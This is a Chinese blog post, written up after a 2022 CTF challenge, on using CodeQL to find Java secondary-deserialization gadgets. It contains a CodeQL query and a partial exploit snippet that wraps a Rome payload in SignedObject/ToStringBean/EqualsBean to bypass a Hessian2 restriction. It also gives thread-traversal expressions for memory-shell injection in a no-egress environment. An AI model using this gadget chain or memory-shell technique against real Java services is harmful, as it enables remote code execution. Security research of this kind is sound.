codeql挖掘java二次反序列化

繁华的东方明珠,让我更加想念成都想念学校和家。(希望疫情好起来

qd5jR1.jpg

简单的说一下为什么要开始写博客,之前不写的原因有2个,第一个是特别懒不想去搭建,第二个是因为感觉自己写的东西都是重复别人大师傅的自己不配写一些精华的文章,这些都是我不想写的原因。但是自己还是想记录自己的生活和学习到的知识,所以就斗胆写下第一篇,希望保证每一篇都是《精华的?》

这里也感谢我大哥帮我搭建博客。atao

0x00 前言

前几天去打了2022hf比赛其中的java出的很好,更加像是真实环境中遇到的。比赛中没有想到了codeql去实现(工作忙,简单的使用了ast去分析了一下效果不太好。

这里也简单的介绍一下这个题的思路:大概是一个不出网的环境,Hessian2反序列化,rome链。本来想直接替换getter为TemplatesImpl,结果因为反序列化不了_tfactory失败。就开始了找gadgets之路。

0x01 思考

针对这个题最好的办法是直接接着找getter方法看看有没有可以执行命令的,或者找有没有触发getter之后继续使用原生反序列化去继续利用起rome的原生反序列化。

0x02 操作

所以我们来编写一下简单的codeql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/**
* @name jdk gadgets
* @kind path-problem
*/
import java

/*找到可以序列化类,实现了Serializable接口 */
class Serializable extends Class{
Serializable(){
this.getASupertype() instanceof TypeSerializable
}
}

/**
* 危险方法
*/
class SerializableMethod extends Method {
SerializableMethod() {
this.getDeclaringType() instanceof Serializable //
and
this.getName() = "readObject"
}
}

class GetMethod extends Method{
GetMethod(){
this.getDeclaringType() instanceof Serializable and
this.getName().indexOf("get") = 0 and
this.getName().length() > 3 and
this.isPublic() and
this.fromSource() and
this.hasNoParameters()
}
}

// 获得方法的内部调用.getBody().getAChild*()
from GetMethod getMethod, MethodAccess ma, Method method
where ma.getEnclosingStmt() = getMethod.getBody().getAChild*() and method = ma.getMethod() and method.hasName("readObject")
select method,getMethod

大概的意思是寻找getter方法中有调用readObject的方法。并且我这里定义了getter方法的类必须实现Serializable,其实对于Hessian2是不需要的。跑一下

qd5ba4.png

现在就来编写exp,其实就非常简单了,因为代码太多了,放出了核心代码。

1
2
3
4
5
6
7
8
9
10
11
12
//触发getObject 二次反序列化
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("DSA", "SUN");
SecureRandom random = SecureRandom.getInstance("SHA1PRNG", "SUN");
keyGen.initialize(1024, random);
PrivateKey signingKey = keyGen.generateKeyPair().getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
signingEngine.initSign(signingKey);
SignedObject signedObject = new SignedObject((Serializable) Rome.getObject(),signingKey,signingEngine);

ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();

0x03 扩展

其实后面的思路是别人告诉我的,getter方法也可以触发exec直接执行命令,大概是只能在linux下使用。

现在来想一想自己编写的codeql太简单了,没有使用污点分析。(可能存在好多误报,继续学习………

0x04 不出网

之后是不出网,最开始是想到了使用写文件描述符fd实现回显示失败了,之后就想到了之前的内存木马都是通过当前线程获得的,那我们也可以找一下当前线程可能有利用的进行注入。

1
2
(Thread.currentThread().group.threads[1].target.this$0.contexts.list.first.item.handler).getClass()
(Thread.currentThread().group.threads[1].target.this$0.rspConnections).getClass()

0x05 总结

合理的使用codeql应该可以会出现很多利用点继续学习了。